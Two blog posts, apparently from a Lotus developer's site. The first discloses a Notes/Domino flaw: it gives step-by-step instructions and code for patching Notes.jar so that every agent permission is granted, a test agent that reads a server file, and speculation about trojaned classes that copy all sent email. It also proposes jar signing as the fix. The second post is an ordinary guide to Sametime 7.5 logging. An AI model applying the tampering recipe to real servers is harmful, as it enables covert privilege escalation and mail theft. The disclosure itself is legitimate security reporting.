Is the security of the Notes/Domino Java implementation questionable? (security vulnerability in the Notes/Domino Java API)

DISCLAIMER
The information below is provided as-is and I cannot be held liable for any damages, direct or indirect, caused by the information in this post or based on the below findings. The information here is offered in the interest of full disclosure. I have been working with IBM Lotus to diagnose and pinpoint the exact consequences of the below findings since May 2006.

Description

As you might know a central security measure in the Notes/Domino security infrastructure is the difference between restricted and unrestricted operations. Only users granted unrestricted access may perform sensitive operations such as disk I/O and manipulating the system clock. The implementation flaw I found in the Java API of Notes/Domino allows me to circumvent these restrictions and hence circumvent the security settings of the Domino server.

As such the guidelines given in this post could also be used to fully replace the Java API and perform additional operations without the knowledge of the owner of the Domino server or Notes client.

Prerequisites

  • Disk access to the Domino server or Notes client or be able to write an agent or other piece of code that may accomplish the task for you.

Steps to reproduce

Below I describe the steps necessary to circumvent the SecurityManager and/or hide malicious code.

  1. Obtain a copy of the Notes.jar file from the Domino server and copy it to a local workstation.
  2. Unpack the archive using the jar-command.
  3. Decompile the code (I used the JODE version 1.1.2-pre2 decompiler from http://jode.sourceforge.net)
  4. Using Eclipse, or similar, edit the code in the constructor of the lotus.notes.AgentSecurityContext class as shown below:
    public AgentSecurityContext(ThreadGroup threadgroup, boolean bool) {
      m_restricted = bool;
      m_file_read = true;
      m_file_write = true;
      m_net_access = true;
      m_class_loader = true;
      m_extern_exec = true;
      m_native_link = true;
      m_system_props = true;
    
      try {
        AgentSecurityManager agentsecuritymanager = (AgentSecurityManager) System
          .getSecurityManager();
        if (agentsecuritymanager != null)
        agentsecuritymanager.newSecurityContext(this, threadgroup);
       } catch (ClassCastException classcastexception) {
         /* empty */
       }
    }
    
  5. Compile the class and replace the version from the unpacked Notes.jar
  6. Create a new Notes.jar with the manipulated code and replace the Notes.jar on the server. You might have to shutdown the server/client to be able to replace the file.

Using a Domino server in a virtual machine I created a text file called readme.txt in the root of the c-drive on the server and ran the below agent as scheduled on the server. The agent tries to read data from the readme.txt file in the root of the c-drive on the local server (Windows 2000 Server). As expected the JVM throws a java.lang.SecurityException using the Notes.jar supplied with the Domino installation. If I replace the Notes.jar supplied by IBM with my manipulated Notes.jar the agent runs to completion without any incident thus circumventing the security measures put in place by the Domino server.

import lotus.domino.*;
import java.io.*;

public class JavaAgent extends AgentBase {
   public void NotesMain() {
      try {
         Session session = getSession();
         AgentContext agentContext = session.getAgentContext();

         System.out.println("Starting to run agent...");
         FileReader r = new FileReader("c:\readme.txt");
         StringBuffer buffer = new StringBuffer();
         char[] data = new char[128];
         r.read(data, 0, 127);
         buffer.append(data);
         System.out.println("File data: " + buffer.toString());
         r.close();

      } catch(Exception e) {
         e.printStackTrace();
      }

      System.out.println("Done running agent...");
   }
}

Consequences

One thing is being able to circumvent the restricted/unrestricted security measure of the Domino server. Another thing is that this can be done without the administrator or users knowing about it.

As mentioned above you might even be able to use the steps to replace some of the core classes (such as the class implementing the Document interface). By doing this you could have the manipulated class send you a copy of all e-mails generated using the Document.send() method or to add a specific user to all reader/author fields being written to documents.

This should be possible since all the Domino API types are interfaces and as such are open for re-implementation. It does however also mean that you have to manipulate the factory methods of the API.

I must stress that I haven’t tried this myself – yet…

Suggestions

Issues like this could be avoided by digitally signing the Notes.jar file provided by IBM and have the Domino server and Notes client verify the signature of the jar-file before loading classes from it. Since a lock is placed on the jar-file by operating system once read (at least on Windows), the impact on performance should be minimal since the jar-file only needs to be checked once.

As an aside I can mention that some of the jar-files provided with the Domino server/Notes client are digitally signed by IBM already:

  • ibmjcefips.jar
  • ibmjceprovider.jar
  • ibmpkcs11.jar
  • ibmpkcs11impl.jar

Resources

Writing log messages in Sametime 7.5 plugins

Unfortunately the Sametime 7.5 SDK doesn’t contain any information that I can find on how to use log and debug messages in custom plugins. Furthermore all the Sametime 7.5 articles on developerWorks I have seen use System.out which is really a no, no. This post contain some information on logging that I have found out myself – partly through looking around in the Sametime 7.5 Connect client installation and partly by trial-and-error.

FYI: I’m doing a fair bit of Sametime 7.5 plugin development at the moment. For one because it’s fun and second because I’m writing an article for THE VIEW (slated for the March/April issue) on Sametime 7.5 development.

Introduction

Logging is at the heart of any development project whether that be a Notes database or a Java application. You can of cause resort to using System.out / System.err for logging but that’s clearly a no, no! If you are in doubt why I suggest you start here. Once you come to the conclusion that you really should be using a logging framework there basically is two options:

  • java.util.logging (available directly in the JDK since JDK 1.4)
  • Apache log4j

Many libraries will furthermore use Jakarta Commons Logging to isolate themselves from the underlying logging technology. In part because they cannot tell which logging framework will be used by clients and because it affords the client the choice.

However in the case of the Sametime 7.5 Connect client the choice has been made for you since Sametime 7.5 uses java.util.logging. You can choose to use Commons Logging but then the logging levels will not fit the ones used in Sametime.

I would suggest you stay with java.util.logging.

Please note: The way logging works while developing plugins in Eclipse is very much different from how it works in the *real* client. When developing all logging, incl. System.out, goes to the console.

Using java.util.logging

Obtaining a java.util.logging.Logger instance is easy:

Logger log = Logger.getLogger(this.getClass().getName());

I suggest you follow the above example and use the class name as the logger name which is also a best practice and the way that IBM does it.

Once you have the Logger-instance you can use it to log information using the different logging Levels (see the Javadoc for more information on java.util.logging).

Configuring logging in Sametime 7.5

The logs written are placed in the Sametime-directory under your using profile hereafter called the log-directory. On my Windows laptop this is “C:Documents and Settingslekkim.HQApplication DataSametime”. The logging itself is configured from the sametime.properties file in the Sametime 7.5 Connect client directory (again on my Windows laptop this is “C:Program FilesIBMSametime 7.5”).

The top of my default sametime.properties looks like this:

## G11N DNT
## Logging properties
.level=INFO
logger.filename=sametime.log
logger.includeClassInfo=true
logger.toConsole=true
logger.level=ALL
logger.limit=20000000
logger.count=7
org.apache.axis.level=INFO
redirectSystemOutput=true

## app properties
...
...

By default log-messages goes to sametime.log.0 in the log-directory with the maximum level of INFO (top bold line). To diagnose issues increase the log level to FINE, FINER, ALL etc. Be aware that the finer levels will produce *lots* of output. Note that messages written to System.out is directed to System.err by default (the second line in bold). To get this information change the redirectSystemOutput to false.

Doing this will cause output to be written to sametime.log in the log-directory instead. Restarting the Sametime 7.5 client while redirectSystemOutput is false will rotate the previous sametime.log to sametime.log.previous.

The nitty-gritty details

It appears that most of the java.util.logging configuration is done through the rcpinstall.properties file in /plugins/com.ibm.rcp.base_6.1.0.0-20060714/config/muservice. Although I wouldn’t suggest changing the file itself it may be beneficially to peruse the file to see how it’s done.

If you really want to know that is… 😉

Conclusion

It appears that Sametime uses java.util.logging and that is is quite straight forward to use – once you know how… Logging levels are easily controlled from sametime.properties and extending the logging framework to do central logging should be easily accomplished.

Happy logging…